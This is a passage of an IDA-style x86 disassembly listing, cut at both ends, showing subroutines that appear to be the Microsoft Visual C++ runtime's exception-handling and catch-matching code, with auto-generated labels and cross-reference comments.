push edx
call sub_41F9A0
add esp, 0Ch
loc_429E9C: ; CODE XREF: sub_429E70+7j
pop ebp
retn
sub_429E70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429EA0 proc near ; CODE XREF: sub_41F580+27p
; sub_41F660+2Cp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_10]
cmp dword ptr [eax], 19930520h
jnz short loc_429EBA
mov [ebp+var_8], 0
jmp short loc_429EC2
; ---------------------------------------------------------------------------
loc_429EBA: ; CODE XREF: sub_429EA0+Fj
call sub_42AC00
mov [ebp+var_8], eax
loc_429EC2: ; CODE XREF: sub_429EA0+18j
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, 66h
test edx, edx
jz short loc_429EFE
mov eax, [ebp+arg_10]
cmp dword ptr [eax+4], 0
jz short loc_429EF4
cmp [ebp+arg_14], 0
jnz short loc_429EF4
push 0FFFFFFFFh
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_42A410
add esp, 10h
loc_429EF4: ; CODE XREF: sub_429EA0+36j
; sub_429EA0+3Cj
mov eax, 1
jmp loc_429F8B
; ---------------------------------------------------------------------------
loc_429EFE: ; CODE XREF: sub_429EA0+2Dj
mov ecx, [ebp+arg_10]
cmp dword ptr [ecx+0Ch], 0
jz short loc_429F86
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_429F5E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jbe short loc_429F5E
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
mov eax, [edx+8]
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_429F5E
mov ecx, [ebp+arg_1C]
and ecx, 0FFh
push ecx
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call [ebp+var_4]
add esp, 20h
jmp short loc_429F8B
; ---------------------------------------------------------------------------
loc_429F5E: ; CODE XREF: sub_429EA0+70j
; sub_429EA0+7Cj ...
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov dl, byte ptr [ebp+arg_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_429F90
add esp, 20h
loc_429F86: ; CODE XREF: sub_429EA0+65j
mov eax, 1
loc_429F8B: ; CODE XREF: sub_429EA0+59j
; sub_429EA0+BCj
mov esp, ebp
pop ebp
retn
sub_429EA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429F90 proc near ; CODE XREF: sub_429EA0+DEp
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 30h
mov [ebp+var_8], 0
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
mov [ebp+var_4], ecx
cmp [ebp+var_4], 0FFFFFFFFh
jl short loc_429FBD
mov edx, [ebp+arg_10]
mov eax, [ebp+var_4]
cmp eax, [edx+4]
jge short loc_429FBD
mov [ebp+var_28], 0
jmp short loc_429FC5
; ---------------------------------------------------------------------------
loc_429FBD: ; CODE XREF: sub_429F90+17j
; sub_429F90+22j
call sub_42AC00
mov [ebp+var_28], eax
loc_429FC5: ; CODE XREF: sub_429F90+2Bj
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx], 0E06D7363h
jnz loc_42A085
mov edx, [ebp+arg_0]
cmp dword ptr [edx+10h], 3
jnz loc_42A085
mov eax, [ebp+arg_0]
cmp dword ptr [eax+14h], 19930520h
jnz loc_42A085
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+1Ch], 0
jnz loc_42A085
call sub_425C30
cmp dword ptr [eax+6Ch], 0
jnz short loc_42A00E
jmp loc_42A22C
; ---------------------------------------------------------------------------
loc_42A00E: ; CODE XREF: sub_429F90+77j
call sub_425C30
mov edx, [eax+6Ch]
mov [ebp+arg_0], edx
call sub_425C30
mov eax, [eax+70h]
mov [ebp+arg_8], eax
mov [ebp+var_8], 1
push 1
mov ecx, [ebp+arg_0]
push ecx
call loc_4306F0
add esp, 8
test eax, eax
jz short loc_42A043
mov [ebp+var_2C], 0
jmp short loc_42A04B
; ---------------------------------------------------------------------------
loc_42A043: ; CODE XREF: sub_429F90+A8j
call sub_42AC00
mov [ebp+var_2C], eax
loc_42A04B: ; CODE XREF: sub_429F90+B1j
mov edx, [ebp+arg_0]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42A07E
mov eax, [ebp+arg_0]
cmp dword ptr [eax+10h], 3
jnz short loc_42A07E
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_42A07E
mov edx, [ebp+arg_0]
cmp dword ptr [edx+1Ch], 0
jnz short loc_42A07E
call sub_42AC00
mov [ebp+var_30], eax
jmp short loc_42A085
; ---------------------------------------------------------------------------
loc_42A07E: ; CODE XREF: sub_429F90+C4j
; sub_429F90+CDj ...
mov [ebp+var_30], 0
loc_42A085: ; CODE XREF: sub_429F90+3Ej
; sub_429F90+4Bj ...
mov eax, [ebp+arg_0]
cmp dword ptr [eax], 0E06D7363h
jnz loc_42A1EC
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 3
jnz loc_42A1EC
mov edx, [ebp+arg_0]
cmp dword ptr [edx+14h], 19930520h
jnz loc_42A1EC
lea eax, [ebp+var_C]
push eax
lea ecx, [ebp+var_14]
push ecx
mov edx, [ebp+var_4]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+arg_10]
push ecx
call sub_41F800
add esp, 14h
mov [ebp+var_10], eax
jmp short loc_42A0E4
; ---------------------------------------------------------------------------
loc_42A0D2: ; CODE XREF: sub_429F90:loc_42A105j
; sub_429F90:loc_42A1CAj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 14h
mov [ebp+var_10], eax
loc_42A0E4: ; CODE XREF: sub_429F90+140j
mov ecx, [ebp+var_14]
cmp ecx, [ebp+var_C]
jnb loc_42A1CF
mov edx, [ebp+var_10]
mov eax, [edx]
cmp eax, [ebp+var_4]
jg short loc_42A105
mov ecx, [ebp+var_10]
mov edx, [ebp+var_4]
cmp edx, [ecx+4]
jle short loc_42A107
loc_42A105: ; CODE XREF: sub_429F90+168j
jmp short loc_42A0D2
; ---------------------------------------------------------------------------
loc_42A107: ; CODE XREF: sub_429F90+173j
mov eax, [ebp+var_10]
mov ecx, [eax+10h]
mov [ebp+var_1C], ecx
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
mov [ebp+var_24], eax
jmp short loc_42A12D
; ---------------------------------------------------------------------------
loc_42A11B: ; CODE XREF: sub_429F90:loc_42A1C5j
mov ecx, [ebp+var_24]
sub ecx, 1
mov [ebp+var_24], ecx
mov edx, [ebp+var_1C]
add edx, 10h
mov [ebp+var_1C], edx
loc_42A12D: ; CODE XREF: sub_429F90+189j
cmp [ebp+var_24], 0
jle loc_42A1CA
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
add edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
mov edx, [ecx+0Ch]
mov eax, [edx]
mov [ebp+var_20], eax
jmp short loc_42A168
; ---------------------------------------------------------------------------
loc_42A156: ; CODE XREF: sub_429F90+1FBj
mov ecx, [ebp+var_20]
sub ecx, 1
mov [ebp+var_20], ecx
mov edx, [ebp+var_18]
add edx, 4
mov [ebp+var_18], edx
loc_42A168: ; CODE XREF: sub_429F90+1C4j
cmp [ebp+var_20], 0
jle short loc_42A1C5
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
push ecx
mov edx, [ebp+var_18]
mov eax, [edx]
push eax
mov ecx, [ebp+var_1C]
push ecx
call sub_42A350
add esp, 0Ch
test eax, eax
jnz short loc_42A18D
jmp short loc_42A156
; ---------------------------------------------------------------------------
loc_42A18D: ; CODE XREF: sub_429F90+1F9j
mov dl, [ebp+var_8]
push edx
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+var_10]
push edx
mov eax, [ebp+var_18]
mov ecx, [eax]
push ecx
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A540
add esp, 2Ch
jmp short loc_42A22A
; ---------------------------------------------------------------------------
loc_42A1C5: ; CODE XREF: sub_429F90+1DCj
jmp loc_42A11B
; ---------------------------------------------------------------------------
loc_42A1CA: ; CODE XREF: sub_429F90+1A1j
; sub_429F90:loc_42A22Aj
jmp loc_42A0D2
; ---------------------------------------------------------------------------
loc_42A1CF: ; CODE XREF: sub_429F90+15Aj
mov edx, [ebp+arg_14]
and edx, 0FFh
test edx, edx
jz short loc_42A1EA
push 1
mov eax, [ebp+arg_0]
push eax
call sub_42AA20
add esp, 8
loc_42A1EA: ; CODE XREF: sub_429F90+24Aj
jmp short loc_42A228
; ---------------------------------------------------------------------------
loc_42A1EC: ; CODE XREF: sub_429F90+FEj
; sub_429F90+10Bj ...
mov ecx, [ebp+arg_14]
and ecx, 0FFh
test ecx, ecx
jnz short loc_42A223
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A230
add esp, 20h
jmp short loc_42A228
; ---------------------------------------------------------------------------
loc_42A223: ; CODE XREF: sub_429F90+267j
call sub_42AB50
loc_42A228: ; CODE XREF: sub_429F90:loc_42A1EAj
; sub_429F90+291j
jmp short loc_42A22C
; ---------------------------------------------------------------------------
loc_42A22A: ; CODE XREF: sub_429F90+233j
jmp short loc_42A1CA
; ---------------------------------------------------------------------------
loc_42A22C: ; CODE XREF: sub_429F90+79j
; sub_429F90:loc_42A228j
mov esp, ebp
pop ebp
retn
sub_429F90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A230 proc near ; CODE XREF: sub_429F90+289p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 0Ch
call sub_425C30
cmp dword ptr [eax+68h], 0
jz short loc_42A26E
mov eax, [ebp+arg_1C]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_41F6A0
add esp, 1Ch
test eax, eax
jz short loc_42A26E
jmp loc_42A341
; ---------------------------------------------------------------------------
loc_42A26E: ; CODE XREF: sub_42A230+Fj
; sub_42A230+37j
lea ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_10]
push edx
call sub_41F800
add esp, 14h
mov [ebp+var_8], eax
jmp short loc_42A2A1
; ---------------------------------------------------------------------------
loc_42A28F: ; CODE XREF: sub_42A230:loc_42A2F9j
; sub_42A230+10Cj
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_8]
add ecx, 14h
mov [ebp+var_8], ecx
loc_42A2A1: ; CODE XREF: sub_42A230+5Dj
mov edx, [ebp+var_C]
cmp edx, [ebp+var_4]
jnb loc_42A341
mov eax, [ebp+var_8]
mov ecx, [ebp+arg_14]
cmp ecx, [eax]
jl short loc_42A2F9
mov edx, [ebp+var_8]
mov eax, [ebp+arg_14]
cmp eax, [edx+4]
jg short loc_42A2F9
mov ecx, [ebp+var_8]
mov edx, [ecx+0Ch]
sub edx, 1
shl edx, 4
mov eax, [ebp+var_8]
mov ecx, [eax+10h]
cmp dword ptr [ecx+edx+4], 0
jz short loc_42A2FB
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
mov eax, [edx+eax+4]
movsx ecx, byte ptr [eax+8]
test ecx, ecx
jz short loc_42A2FB
loc_42A2F9: ; CODE XREF: sub_42A230+85j
; sub_42A230+90j
jmp short loc_42A28F
; ---------------------------------------------------------------------------
loc_42A2FB: ; CODE XREF: sub_42A230+A9j
; sub_42A230+C7j
push 1
mov edx, [ebp+arg_1C]
push edx
mov eax, [ebp+arg_18]
push eax
mov ecx, [ebp+var_8]
push ecx
push 0
mov edx, [ebp+var_8]
mov eax, [edx+0Ch]
sub eax, 1
shl eax, 4
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
add edx, eax
push edx
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A540
add esp, 2Ch
jmp loc_42A28F
; ---------------------------------------------------------------------------
loc_42A341: ; CODE XREF: sub_42A230+39j
; sub_42A230+77j
mov esp, ebp
pop ebp
retn
sub_42A230 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A350 proc near ; CODE XREF: sub_429F90+1EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp dword ptr [eax+4], 0
jz short loc_42A36B
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jnz short loc_42A375
loc_42A36B: ; CODE XREF: sub_42A350+Bj
mov eax, 1
jmp loc_42A402
; ---------------------------------------------------------------------------
loc_42A375: ; CODE XREF: sub_42A350+19j
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
mov eax, [ecx+4]
cmp eax, [edx+4]
jz short loc_42A3A7
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
add edx, 8
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
add ecx, 8
push ecx
call sub_41D900
add esp, 8
test eax, eax
jz short loc_42A3A7
xor eax, eax
jmp short loc_42A402
; ---------------------------------------------------------------------------
loc_42A3A7: ; CODE XREF: sub_42A350+31j
; sub_42A350+51j
mov edx, [ebp+arg_4]
mov eax, [edx]
and eax, 2
test eax, eax
jz short loc_42A3BF
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 8
test edx, edx
jz short loc_42A3F8
loc_42A3BF: ; CODE XREF: sub_42A350+61j
mov eax, [ebp+arg_8]
mov ecx, [eax]
and ecx, 1
test ecx, ecx
jz short loc_42A3D7
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 1
test eax, eax
jz short loc_42A3F8
loc_42A3D7: ; CODE XREF: sub_42A350+79j
mov ecx, [ebp+arg_8]
mov edx, [ecx]
and edx, 2
test edx, edx
jz short loc_42A3EF
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 2
test ecx, ecx
jz short loc_42A3F8
loc_42A3EF: ; CODE XREF: sub_42A350+91j
mov [ebp+var_4], 1
jmp short loc_42A3FF
; ---------------------------------------------------------------------------
loc_42A3F8: ; CODE XREF: sub_42A350+6Dj
; sub_42A350+85j ...
mov [ebp+var_4], 0
loc_42A3FF: ; CODE XREF: sub_42A350+A6j
mov eax, [ebp+var_4]
loc_42A402: ; CODE XREF: sub_42A350+20j
; sub_42A350+55j
mov esp, ebp
pop ebp
retn
sub_42A350 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A410 proc near ; CODE XREF: seg000:0041F5DAp
; sub_429EA0+4Cp ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A1C0
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFECh
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
mov [ebp+var_1C], ecx
loc_42A43F: ; CODE XREF: sub_42A410+BFj
mov edx, [ebp+var_1C]
cmp edx, [ebp+arg_C]
jz loc_42A4D4
cmp [ebp+var_1C], 0FFFFFFFFh
jle short loc_42A465
mov eax, [ebp+arg_8]
mov ecx, [ebp+var_1C]
cmp ecx, [eax+4]
jge short loc_42A465
mov [ebp+var_20], 0
jmp short loc_42A46D
; ---------------------------------------------------------------------------
loc_42A465: ; CODE XREF: sub_42A410+3Fj
; sub_42A410+4Aj
call sub_42AC00
mov [ebp+var_20], eax
loc_42A46D: ; CODE XREF: sub_42A410+53j
mov [ebp+var_4], 0
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
cmp dword ptr [eax+ecx*8+4], 0
jz short loc_42A4A0
push 103h
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_8]
mov ecx, [eax+8]
mov edx, [ebp+var_1C]
mov eax, [ecx+edx*8+4]
push eax
call sub_42AB00
loc_42A4A0: ; CODE XREF: sub_42A410+72j
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_42A4C0
; ---------------------------------------------------------------------------
mov ecx, [ebp+var_14]
push ecx
call sub_42A510
add esp, 4
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_4], 0FFFFFFFFh
loc_42A4C0: ; CODE XREF: sub_42A410+97j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+var_1C]
mov edx, [eax+ecx*8]
mov [ebp+var_1C], edx
jmp loc_42A43F
; ---------------------------------------------------------------------------
loc_42A4D4: ; CODE XREF: sub_42A410+35j
mov eax, [ebp+var_1C]
cmp eax, [ebp+arg_C]
jnz short loc_42A4E5
mov [ebp+var_24], 0
jmp short loc_42A4ED
; ---------------------------------------------------------------------------
loc_42A4E5: ; CODE XREF: sub_42A410+CAj
call sub_42AC00
mov [ebp+var_24], eax
loc_42A4ED: ; CODE XREF: sub_42A410+D3j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
mov [ecx+8], edx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42A410 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A510 proc near ; CODE XREF: sub_42A410+9Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx]
mov [ebp+var_8], eax
cmp [ebp+var_8], 0E06D7363h
jz short loc_42A531
jmp short loc_42A536
; ---------------------------------------------------------------------------
loc_42A531: ; CODE XREF: sub_42A510+1Dj
call sub_42AB50
loc_42A536: ; CODE XREF: sub_42A510+1Fj
xor eax, eax
mov esp, ebp
pop ebp
retn
sub_42A510 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A540 proc near ; CODE XREF: sub_429F90+22Bp
; sub_42A230+104p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
cmp [ebp+arg_18], 0
jz short loc_42A56A
mov ecx, [ebp+arg_18]
push ecx
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A7A0
add esp, 10h
loc_42A56A: ; CODE XREF: sub_42A540+10j
cmp [ebp+arg_24], 0
jnz short loc_42A57F
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41F520
jmp short loc_42A58C
; ---------------------------------------------------------------------------
loc_42A57F: ; CODE XREF: sub_42A540+2Ej
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_24]
push edx
call sub_41F520
loc_42A58C: ; CODE XREF: sub_42A540+3Dj
mov eax, [ebp+arg_1C]
mov ecx, [eax]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_42A410
add esp, 10h
mov edx, [ebp+arg_1C]
mov eax, [edx+4]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
push 100h
mov edx, [ebp+arg_20]
push edx
mov eax, [ebp+arg_14]
mov ecx, [eax+0Ch]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+var_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A600
add esp, 1Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42A5F3
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+var_8]
push ecx
call sub_41F4B0
loc_42A5F3: ; CODE XREF: sub_42A540+A4j
mov esp, ebp
pop ebp
retn
sub_42A540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A600 proc near ; CODE XREF: sub_42A540+95p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
; FUNCTION CHUNK AT 0042A73B SIZE 00000014 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A1D0
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_10]
mov [ebp+var_2C], eax
mov [ebp+var_24], 0
mov ecx, [ebp+arg_4]
mov edx, [ecx-4]
mov [ebp+var_28], edx
call sub_425C30
mov eax, [eax+6Ch]
mov [ebp+var_1C], eax
call sub_425C30
mov ecx, [eax+70h]
mov [ebp+var_20], ecx
call sub_425C30
mov edx, [ebp+arg_0]
mov [eax+6Ch], edx
call sub_425C30
mov ecx, [ebp+arg_8]
mov [eax+70h], ecx
mov [ebp+var_4], 0
mov [ebp+var_4], 1
mov edx, [ebp+arg_18]
push edx
mov eax, [ebp+arg_14]
push eax
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_4]
push eax
call sub_41F5F0
add esp, 14h
mov [ebp+var_2C], eax
mov [ebp+var_4], 0
jmp short loc_42A6CF
; ---------------------------------------------------------------------------
loc_42A69E: ; DATA XREF: seg001:0043A1E0o
mov ecx, [ebp+var_14]
push ecx
call sub_42A750
add esp, 4
retn
; ---------------------------------------------------------------------------
loc_42A6AB: ; DATA XREF: seg001:0043A1E4o
mov esp, [ebp+var_18]
mov [ebp+var_2C], 0
push 0FFFFFFFFh
mov [ebp+var_30], 0
lea edx, [ebp+var_10]
push edx
call sub_41F8D2
add esp, 8
mov eax, [ebp+var_30]
jmp short loc_42A73E
; ---------------------------------------------------------------------------
loc_42A6CF: ; CODE XREF: sub_42A600+9Cj
mov [ebp+var_4], 0FFFFFFFFh
call sub_42A6DD
jmp short loc_42A73B
sub_42A600 endp
; =============== S U B R O U T I N E =======================================
sub_42A6DD proc near ; CODE XREF: sub_42A600+D6p
; DATA XREF: seg001:0043A1D8o
mov eax, [ebp+0Ch]
mov ecx, [ebp-28h]
mov [eax-4], ecx
call sub_425C30
mov edx, [ebp-1Ch]
mov [eax+6Ch], edx
call sub_425C30
mov ecx, [ebp-20h]
mov [eax+70h], ecx
mov edx, [ebp+8]
cmp dword ptr [edx], 0E06D7363h
jnz short locret_42A73A
mov eax, [ebp+8]
cmp dword ptr [eax+10h], 3
jnz short locret_42A73A
mov ecx, [ebp+8]
cmp dword ptr [ecx+14h], 19930520h
jnz short locret_42A73A
cmp dword ptr [ebp-24h], 0
jnz short locret_42A73A
cmp dword ptr [ebp-2Ch], 0
jz short locret_42A73A
call sub_41F93A
push eax
mov edx, [ebp+8]
push edx
call sub_42AA20
add esp, 8
locret_42A73A: ; CODE XREF: sub_42A6DD+28j
; sub_42A6DD+31j ...
retn
sub_42A6DD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A600
loc_42A73B: ; CODE XREF: sub_42A600+DBj
mov eax, [ebp+var_2C]
loc_42A73E: ; CODE XREF: sub_42A600+CDj
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42A600
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A750 proc near ; CODE XREF: sub_42A600+A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
cmp dword ptr [edx], 0E06D7363h
jnz short loc_42A78C
mov eax, [ebp+var_4]
cmp dword ptr [eax+10h], 3
jnz short loc_42A78C
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 19930520h
jnz short loc_42A78C
mov edx, [ebp+var_4]
cmp dword ptr [edx+1Ch], 0
jnz short loc_42A78C
mov eax, 1
jmp short loc_42A78E
; ---------------------------------------------------------------------------
loc_42A78C: ; CODE XREF: sub_42A750+15j
; sub_42A750+1Ej ...
xor eax, eax
loc_42A78E: ; CODE XREF: sub_42A750+3Aj
mov esp, ebp
pop ebp
retn
sub_42A750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A7A0 proc near ; CODE XREF: sub_42A540+22p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43A1E8
push offset sub_42CA04
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFF4h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, [ebp+arg_8]
cmp dword ptr [eax+4], 0
jz short loc_42A7E6
mov ecx, [ebp+arg_8]
mov edx, [ecx+4]
movsx eax, byte ptr [edx+8]
test eax, eax
jz short loc_42A7E6
mov ecx, [ebp+arg_8]
cmp dword ptr [ecx+8], 0
jnz short loc_42A7EB
loc_42A7E6: ; CODE XREF: sub_42A7A0+2Dj
; sub_42A7A0+3Bj
jmp loc_42AA0A
; ---------------------------------------------------------------------------
loc_42A7EB: ; CODE XREF: sub_42A7A0+44j
mov edx, [ebp+arg_8]
mov eax, [edx+8]
mov ecx, [ebp+arg_4]
lea edx, [ecx+eax+0Ch]
mov [ebp+var_1C], edx
mov [ebp+var_4], 0
mov eax, [ebp+arg_8]
